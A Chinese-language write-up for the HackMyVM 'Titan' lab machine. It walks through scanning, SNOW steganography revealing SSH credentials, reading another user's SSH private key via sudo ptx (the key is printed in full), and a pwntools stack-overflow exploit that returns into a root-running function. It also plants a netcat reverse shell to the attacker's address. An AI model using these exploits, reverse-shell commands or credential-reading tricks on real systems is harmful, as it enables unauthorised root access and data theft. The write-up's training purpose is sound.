HackMyVM-Titan-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.134 08:00:27:c7:67:9c PCS Systemtechnik GmbH
192.168.60.254 00:50:56:fe:fd:5b VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.046 seconds (125.12 hosts/sec). 4 responded
export ip=192.168.60.134
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TCP handshake? More like a friendly high-five!

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.134:22
Open 192.168.60.134:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 14:16 CST
Initiating ARP Ping Scan at 14:16
Scanning 192.168.60.134 [1 port]
Completed ARP Ping Scan at 14:16, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:16
Completed Parallel DNS resolution of 1 host. at 14:16, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:16
Scanning 192.168.60.134 [2 ports]
Discovered open port 80/tcp on 192.168.60.134
Discovered open port 22/tcp on 192.168.60.134
Completed SYN Stealth Scan at 14:16, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.60.134
Host is up, received arp-response (0.00045s latency).
Scanned at 2025-04-12 14:16:50 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:C7:67:9C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -t 50 -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.134
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 54]
/robots.txt (Status: 200) [Size: 12]
/. (Status: 301) [Size: 185] [--> http://192.168.60.134/./]
Progress: 81220 / 81225 (99.99%)
===============================================================
Finished
===============================================================

浏览器访问一下首页,是一张普罗米修斯的油画

image

SNOW 隐写

发现存在robots.txt

得到/athena.txt里面好像存在一段话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
❯ curl http://192.168.60.134/robots.txt
/athena.txt
❯ curl http://192.168.60.134/athena.txt
Titan! to whose immortal eyes
The sufferings of mortality,
Seen in their sad reality,
Were not as things that gods despise;
What was thy pity's recompense?
A silent suffering, and intense;
The rock, the vulture, and the chain,
All that the proud can feel of pain,
The agony they do not show,
The suffocating sense of woe,
Which speaks but in its loneliness,
And then is jealous lest the sky
Should have a listener, nor will sigh
Until its voice is echoless.
Titan! to thee the strife was given
Between the suffering and the will,
Which torture where they cannot kill;
And the inexorable Heaven,
And the deaf tyranny of Fate,
The ruling principle of Hate,
Which for its pleasure doth create
The things it may annihilate,
Refus'd thee even the boon to die:
The wretched gift Eternity
Was thine—and thou hast borne it well.
All that the Thunderer wrung from thee
Was but the menace which flung back
On him the torments of thy rack;
The fate thou didst so well foresee,
But would not to appease him tell;
And in thy Silence was his Sentence,
And in his Soul a vain repentance,
And evil dread so ill dissembled,
That in his hand the lightnings trembled.
Thy Godlike crime was to be kind,
To render with thy precepts less
The sum of human wretchedness,
And strengthen Man with his own mind;
But baffled as thou wert from high,
Still in thy patient energy,
In the endurance, and repulse
Of thine impenetrable Spirit,
Which Earth and Heaven could not convulse,
A mighty lesson we inherit:
Thou art a symbol and a sign
To Mortals of their fate and force;
Like thee, Man is in part divine,
A troubled stream from a pure source;
And Man in portions can foresee
His own funereal destiny;
His wretchedness, and his resistance,
And his sad unallied existence:
To which his Spirit may oppose
Itself—and equal to all woes,
And a firm will, and a deep sense,
Which even in torture can descry
Its own concenter'd recompense,
Triumphant where it dares defy,
And making Death a Victory.

我按照原文搜索了一下,是Prometheus的诗歌摘要

我们将他保存到文件中,发现前几段存在空格和缩进符

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ curl http://192.168.60.134/athena.txt -o aaa.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 2170 100 2170 0 0 779k 0 --:--:-- --:--:-- --:--:-- 1059k
cat -A aaa.txt
Titan! to whose immortal eyes^I ^I ^I ^I ^I ^I $
The sufferings of mortality, ^I ^I ^I ^I^I ^I $
Seen in their sad reality, ^I ^I^I ^I ^I ^I $
Were not as things that gods despise; ^I ^I ^I ^I $
What was thy pity's recompense? ^I ^I ^I ^I ^I $
A silent suffering, and intense; ^I^I ^I ^I ^I $
The rock, the vulture, and the chain, ^I ^I ^I^I$
All that the proud can feel of pain,^I$

所以可以猜测存在snow隐写,不过我snow下载的是windows版本,转到Pwsh中执行

获得ssh凭证

1
2
 ⚡maple ❯❯ SNOW.EXE -C .\aaa.txt
prometheus/iloveallhumans

用户提权

尝试连接一下

发现在prometheus家目录下存在SUID权限的可执行程序sacrifice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ ssh prometheus@$ip
The authenticity of host '192.168.60.134 (192.168.60.134)' can't be established.
ED25519 key fingerprint is SHA256:Qn4ac49rkwUfrehcrgWJFAj+8B8vB0JrNOc7C1/hLz4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.60.134' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux titan 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
prometheus@titan:~$ id
uid=1001(prometheus) gid=1001(prometheus) groups=1001(prometheus)
prometheus@titan:~$ ls -al
total 40
drwxr-xr-x 2 prometheus prometheus 4096 Aug 9 2021 .
drwxr-xr-x 5 root root 4096 Aug 9 2021 ..
-rw-r--r-- 1 prometheus prometheus 220 Aug 9 2021 .bash_logout
-rw-r--r-- 1 prometheus prometheus 3526 Aug 9 2021 .bashrc
-rw-r--r-- 1 prometheus prometheus 807 Aug 9 2021 .profile
-rwsr-sr-x 1 root prometheus 16896 Aug 9 2021 sacrifice

利用strings分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
prometheus@titan:~$ strings sacrifice
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
gets
printf
system
__cxa_finalize
setgid
strcmp
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
/home/hesiod/fire
What is your offer to the gods?
beef
Take this gift.
/bin/bash
Thanks, mortal.
;*3$"
GCC: (Debian 8.3.0-6) 8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7325
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
sacrifice.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
thief
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
gets@@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

传到本地,利用IDA Pro反编译一下

image

如果输入beef字符串则会以UID1000的用户执行/bin/bash

1
2
3
4
5
6
7
prometheus@titan:~$ ./sacrifice
What is your offer to the gods?beef
zeus@titan:~$
zeus@titan:~$ cd ..
zeus@titan:/home$ cd zeus/
zeus@titan:/home/zeus$ cat user.txt
HMVolympiangods

Sudo 提权

用户还拥有sudo权限,可以提权到hesiod用户

ptx可以用于文件读取,尝试读取一下ssh私钥文件

执行后会输出很多个私钥内容

1
2
3
zeus@titan:/home/zeus$ sudo -u hesiod /usr/bin/ptx -w 5000 /home/hesiod/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA0ikMjqBt6UlIVL1e2xxw374gEG33Y0+upVqDXNmNQIn64kJVUj8Q Cr9BBuObFMLoYe1vjApycVrS9YppYXQsqlttfDQ5bt0lT8JdS0lcsJW4CLUASlYcVe2XAk 8yf89XliCJzlUWX+SIGCiDUZhzMbOGRNM9B1h/Gfi31i7tjCPKhNdlxuOq47x7Gy3TNmur lspSJJ7OSdVKfOiCqBduddhn2qV2FSgCSv41XFgbdiI8AFw/3pS3TpbJhKqDip1tsphtG5 vmr2FfeFzjbAyLJzx23444Var8aHHoEsLVepL8HKEBwSkrdOPMwUFoLQ5yWOlzDUP1AlBk 3txyEx0HNwAAA8i8aOjVvGjo1QAAAAdzc2gtcnNhAAABAQDSKQyOoG3pSUhUvV7bHHDfvi AQbfdjT66lWoNc2Y1AifriQlVSPxAKv0EG45sUwuhh7W+MCnJxWtL1imlhdCyqW218NDlu 3SVPwl1LSVywlbgItQBKVhxV7ZcCTzJ/z1eWIInOVRZf5IgYKINRmHMxs4ZE0z0HWH8Z+L fWLu2MI8qE12XG46rjvHsbLdM2a6uWylIkns5J1Up86IKoF2512GfapXYVKAJK/jVcWBt2 IjwAXD/elLdOlsmEqoOKnW2ymG0bm+avYV94XONsDIsnPHbfjjhVqvxocegSwtV6kvwcoQ HBKSt048zBQWgtDnJY6XMNQ/UCUGTe3HITHQc3AAAAAwEAAQAAAQEAqcFglECAJ4T7OP+y BBjoD8KaUcsRnhV6A7SmETTlRPFvRp3AH2wzAAtWckMdPFrnrFpG1P6HTIrJhm6kCoT1oz GwsTfaAHP/NHrSMwLyLOzyt43Ey0bdIoeEh+gC6XxIykpEJfdS2GhXifQHhrw2qDnTxfo+ /JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER Sd9AXibnZNP1yv9P62Bqg/hxkSDpbfKeWx0uGnPWYx2I3zCGF5tEsUye0QxfRPYdZONBSi LHsNG9iM01yI7/6K0FHDuMPOnCKztcxiOXVcMtcG1mhRQQAAAIAftEnw6wQo/Cy034TA9h W1KLRThw9qqrOQdHlpjk/RtaAcVbAOTO5ugVf7oECfgnmyuwRoGWN0GFoSgsEkS2QwtP5/ 1CN9aGIHxRRyD/KEddj5RhByx0SYhdioveguFQtC/j+dof0uz1uHZof9hQeZp4deOdhNRU 0+M01pQ1jsiwAAAIEA9ei0q+vG4voP14uBS/+ZXWAO8SOSrsFJcFtxGYHp1ZWkEmKEZ4Yi xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z PC+9o5LKVwNRZlD35W0N622PMj7UYrWK2564W3 zpTIHSmCjuEAAACBANrIzPuNywmCWnWG fSSraCkaaaNxMQ49EeSWAUl3ShO0t0FWdjoAVP2+5xgIBckN2lxqvGSUDzcrCvKrAkNXNm wHddlQ7yDx4NgmKMnAr06EZ9Ue7AS3jwOtDOIxijvqjqPidokINYjhXfNV7cJEWXgKZ2ez xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

由于输出的内容格式不对,没有换行符,导致连接不上,丢给GPT处理修复一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA0ikMjqBt6UlIVL1e2xxw374gEG33Y0+upVqDXNmNQIn64kJVUj8Q
Cr9BBuObFMLoYe1vjApycVrS9YppYXQsqlttfDQ5bt0lT8JdS0lcsJW4CLUASlYcVe2XAk
8yf89XliCJzlUWX+SIGCiDUZhzMbOGRNM9B1h/Gfi31i7tjCPKhNdlxuOq47x7Gy3TNmur
lspSJJ7OSdVKfOiCqBduddhn2qV2FSgCSv41XFgbdiI8AFw/3pS3TpbJhKqDip1tsphtG5
vmr2FfeFzjbAyLJzx23444Var8aHHoEsLVepL8HKEBwSkrdOPMwUFoLQ5yWOlzDUP1AlBk
3txyEx0HNwAAA8i8aOjVvGjo1QAAAAdzc2gtcnNhAAABAQDSKQyOoG3pSUhUvV7bHHDfvi
AQbfdjT66lWoNc2Y1AifriQlVSPxAKv0EG45sUwuhh7W+MCnJxWtL1imlhdCyqW218NDlu
3SVPwl1LSVywlbgItQBKVhxV7ZcCTzJ/z1eWIInOVRZf5IgYKINRmHMxs4ZE0z0HWH8Z+L
fWLu2MI8qE12XG46rjvHsbLdM2a6uWylIkns5J1Up86IKoF2512GfapXYVKAJK/jVcWBt2
IjwAXD/elLdOlsmEqoOKnW2ymG0bm+avYV94XONsDIsnPHbfjjhVqvxocegSwtV6kvwcoQ
HBKSt048zBQWgtDnJY6XMNQ/UCUGTe3HITHQc3AAAAAwEAAQAAAQEAqcFglECAJ4T7OP+y
BBjoD8KaUcsRnhV6A7SmETTlRPFvRp3AH2wzAAtWckMdPFrnrFpG1P6HTIrJhm6kCoT1oz
GwsTfaAHP/NHrSMwLyLOzyt43Ey0bdIoeEh+gC6XxIykpEJfdS2GhXifQHhrw2qDnTxfo+
/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER
Sd9AXibnZNP1yv9P62Bqg/hxkSDpbfKeWx0uGnPWYx2I3zCGF5tEsUye0QxfRPYdZONBSi
LHsNG9iM01yI7/6K0FHDuMPOnCKztcxiOXVcMtcG1mhRQQAAAIAftEnw6wQo/Cy034TA9h
W1KLRThw9qqrOQdHlpjk/RtaAcVbAOTO5ugVf7oECfgnmyuwRoGWN0GFoSgsEkS2QwtP5/
1CN9aGIHxRRyD/KEddj5RhByx0SYhdioveguFQtC/j+dof0uz1uHZof9hQeZp4deOdhNRU
0+M01pQ1jsiwAAAIEA9ei0q+vG4voP14uBS/+ZXWAO8SOSrsFJcFtxGYHp1ZWkEmKEZ4Yi
xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z
PC+9o5LKVwNRZlD35W0N622PMj7UYrWK2564W3zpTIHSmCjuEAAACBANrIzPuNywmCWnWG
fSSraCkaaaNxMQ49EeSWAUl3ShO0t0FWdjoAVP2+5xgIBckN2lxqvGSUDzcrCvKrAkNXNm
wHddlQ7yDx4NgmKMnAr06EZ9Ue7AS3jwOtDOIxijvqjqPidokINYjhXfNV7cJEWXgKZ2ez
xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Root提权

Stack Overflow 栈溢出

再次尝试连接,用户家目录下同样存在fire的可执行程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ ssh hesiod@$ip -i id_rsa
Linux titan 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hesiod@titan:~$ ls -al
total 48
drwxr-xr-x 4 hesiod hesiod 4096 Aug 9 2021 .
drwxr-xr-x 5 root root 4096 Aug 9 2021 ..
-rw-r--r-- 1 hesiod hesiod 220 Aug 9 2021 .bash_logout
-rw-r--r-- 1 hesiod hesiod 3526 Aug 9 2021 .bashrc
-rwxr-x--- 1 hesiod hesiod 16608 Aug 9 2021 fire
drwxr-xr-x 3 hesiod hesiod 4096 Aug 9 2021 .local
-rw-r--r-- 1 hesiod hesiod 807 Aug 9 2021 .profile
drwx------ 2 hesiod hesiod 4096 Aug 9 2021 .ssh
hesiod@titan:~$ ./fire
Here is the fire...

回到上面,我们可以发现在sacrifice的程序中存在这么一个Function叫thief

没有其他东西去调用它,不过它会以Root的身份去执行/home/hesiod/fire

image

猜测含有栈溢出漏洞,所以我们可以尝试构造超长输入覆盖返回地址,跳转到thief地址

由于我们已经拿到了hesiod的身份,那我们直接把这个文件改了就完事了

1
2
3
hesiod@titan:~$ rm fire
hesiod@titan:~$ echo '/bin/bash -p' >fire
hesiod@titan:~$ chmod +x fire

程序是由gets(s1)获取输入,存储到缓冲区s1

所以我们需要进行猜测缓冲区的大小,也就是枚举偏移量

我们首先需要检查程序开启了哪些保护

1
2
3
4
5
6
7
8
9
10
❯ checksec sacrifice
[*] '/mnt/c/Users/maple/Desktop/tmp/sacrifice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

得知PIE开启,这就导致了程序每次运行时代码段基址随机化

不过我们可以临时关闭ASLR(地址空间布局随机化)

1
2
3
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for pwn:
0

启用 PIE 的程序会在加载时随机化代码段基址,但关闭 ASLR 后,这一随机化会被禁用

利用gdb进行调试

cyclic生成100字节的花指令字符串,当程序奔溃时,rip的值被覆盖成cyclic生成的片段,即可通过cyclic计算偏移量

从上面我们得到rip对应0x616161616161616c

通过cyclic得到偏移量为88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ gdb sacrifice
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> run
Starting program: /mnt/c/Users/maple/Desktop/tmp/sacrifice
What is your offer to the gods?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x000055555555524a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
RAX 0x0
*RBX 0x555555555250 (__libc_csu_init) ◂— push r15
RCX 0x0
RDX 0x0
*RDI 0x7ffff7fae7e0 (_IO_stdfile_1_lock) ◂— 0x0
*RSI 0x202c736b6e616854 ('Thanks, ')
*R8 0x7fffffffde30 ◂— 0x6161616161616161 ('aaaaaaaa')
*R9 0xf
*R10 0x55555555605f ◂— 'Thanks, mortal.'
*R11 0x7ffff7f43df0 (__strcmp_avx2) ◂— endbr64
*R12 0x5555555550a0 (_start) ◂— xor ebp, ebp
*R13 0x7fffffffdf70 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x616161616161616b ('kaaaaaaa')
*RSP 0x7fffffffde88 ◂— 'laaaaaaamaaa'
*RIP 0x55555555524a (main+158) ◂— ret
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
► 0x55555555524a <main+158> ret <0x616161616161616c>


──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde88 ◂— 'laaaaaaamaaa'
01:0008│ 0x7fffffffde90 ◂— 0x7f006161616d /* 'maaa' */
02:0010│ 0x7fffffffde98 —▸ 0x7fffffffdf78 —▸ 0x7fffffffe210 ◂— '/mnt/c/Users/maple/Desktop/tmp/sacrifice'
03:0018│ 0x7fffffffdea0 ◂— 0x100000000
04:0020│ 0x7fffffffdea8 —▸ 0x5555555551ac (main) ◂— push rbp
05:0028│ 0x7fffffffdeb0 —▸ 0x555555555250 (__libc_csu_init) ◂— push r15
06:0030│ 0x7fffffffdeb8 ◂— 0x8a27ef14d10645ac
07:0038│ 0x7fffffffdec0 —▸ 0x5555555550a0 (_start) ◂— xor ebp, ebp
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► 0 0x55555555524a main+158
1 0x616161616161616c
2 0x7f006161616d
3 0x7fffffffdf78
4 0x100000000
5 0x5555555551ac main
6 0x555555555250 __libc_csu_init
7 0x8a27ef14d10645ac
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x616161616161616c
Finding cyclic pattern of 8 bytes: b'laaaaaaa' (hex: 0x6c61616161616161)
Found at offset 88

我们还需要查找theif的地址

得到theif函数的地址为0x0000555555555185

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> disassemble thief
Dump of assembler code for function thief:
0x0000555555555185 <+0>: push rbp
0x0000555555555186 <+1>: mov rbp,rsp
0x0000555555555189 <+4>: mov edi,0x0
0x000055555555518e <+9>: call 0x555555555080 <setuid@plt>
0x0000555555555193 <+14>: mov edi,0x0
0x0000555555555198 <+19>: call 0x555555555070 <setgid@plt>
0x000055555555519d <+24>: lea rdi,[rip+0xe64] # 0x555555556008
0x00005555555551a4 <+31>: call 0x555555555030 <system@plt>
0x00005555555551a9 <+36>: nop
0x00005555555551aa <+37>: pop rbp
0x00005555555551ab <+38>: ret
End of assembler dump.

最终payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 设置目标程序(如果是远程攻击,替换为 remote('IP', PORT))
context(arch='amd64', os='linux') # 设置架构和系统
#p = process('./vulnerable_program') # 本地测试

# 获取 thief 函数的地址(需根据实际情况填写)
thief_address = 0x0000555555555185

# 构造 payload:88字节填充 + thief地址(64位小端序)
payload = b'A' * 88 # 填充至覆盖返回地址的位置
payload += p64(thief_address) # p64 自动转为小端序

# 发送 payload
p = remote('192.168.60.134', 6666) # 替换为服务端 IP
p.sendline(payload)

# 切换到交互模式(如果thief会启动shell或需要交互)
p.interactive()

尝试执行exp

1
2
3
4
5
6
7
8
9
10
11
12
# 靶机执行
hesiod@titan:/home/prometheus$ nc -lvp 6666 -e ./sacrifice

--------------------------------------
# Kali执行
❯ python3 exp.py
[←] Opening connection to 192.168.60.134 on port 6666: Trying 192.168.60.1[+] Opening connection to 192.168.60.134 on port 6666: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),1002(hesiod)
$ cat /root/root.txt
HMVgodslovesyou

Method 2

或者你直接输出内容,再靶机上执行也可以

不过需要修改/home/hesiod/fire文件内容

改成反弹shell的内容

1
hesiod@titan:/home/prometheus$ echo 'nc -e /bin/bash 192.168.60.100 4444'>/home/hesiod/fire

手动执行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ python3 -c "from pwn import *; print(b'A'*88 + p64(0x0000555555555185))"

b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85QUUUU\x00\x00'
--------------------------------------------
#靶机中执行
hesiod@titan:/home/prometheus$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85QUUUU\x00\x00" | ./sacrifice
----------------------------------------------
#Kali监听端口
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from titan-192.168.60.134-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/titan~192.168.60.134_Linux_x86_64/2025_04_12-16_41_48-536.log 📜
───────────────────────────────────────────────────────────────────────────
root@titan:/home/prometheus# id
uid=0(root) gid=0(root) groups=0(root),1002(hesiod)
root@titan:~# cd /root
root@titan:/root# cat root.txt
HMVgodslovesyou

非预期解

此方案来自he110wor1d

可以跳过后面的流程,从拿到prometheus用户的shell开始,直接成为root

可以参考hackmyvm titan非预期解 - he110wor1d - 博客园

HackMyVM-SingDanceRap-Walkthrough | Pepster’Blog

方法雷同,如法炮制即可

构造链为padding + thief_addr + pop_rdi_addr + str_address + call_system_addr

先临时关闭ALSR

1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

由于程序开启了PIE,所以需要获取默认基址0x555555554000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ gdb -p $(pidof sacrifice)
……………………省略………………
(gdb) info proc mappings
process 2999182
Mapped address spaces:

Start Addr End Addr Size Offset Perms objfile
0x555555554000 0x555555555000 0x1000 0x0 r--p /home/Pepster/hmv/sacrifice
0x555555555000 0x555555556000 0x1000 0x1000 r-xp /home/Pepster/hmv/sacrifice
0x555555556000 0x555555557000 0x1000 0x2000 r--p /home/Pepster/hmv/sacrifice
0x555555557000 0x555555558000 0x1000 0x2000 r--p /home/Pepster/hmv/sacrifice
0x555555558000 0x555555559000 0x1000 0x3000 rw-p /home/Pepster/hmv/sacrifice
0x555555559000 0x55555557a000 0x21000 0x0 rw-p [heap]
0x7ffff7dae000 0x7ffff7db1000 0x3000 0x0 rw-p
0x7ffff7db1000 0x7ffff7dd9000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dd9000 0x7ffff7f3e000 0x165000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f3e000 0x7ffff7f94000 0x56000 0x18d000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f94000 0x7ffff7f98000 0x4000 0x1e2000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f98000 0x7ffff7f9a000 0x2000 0x1e6000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9a000 0x7ffff7fa7000 0xd000 0x0 rw-p
0x7ffff7fc0000 0x7ffff7fc2000 0x2000 0x0 rw-p
0x7ffff7fc2000 0x7ffff7fc6000 0x4000 0x0 r--p [vvar]
0x7ffff7fc6000 0x7ffff7fc8000 0x2000 0x0 r-xp [vdso]
0x7ffff7fc8000 0x7ffff7fc9000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
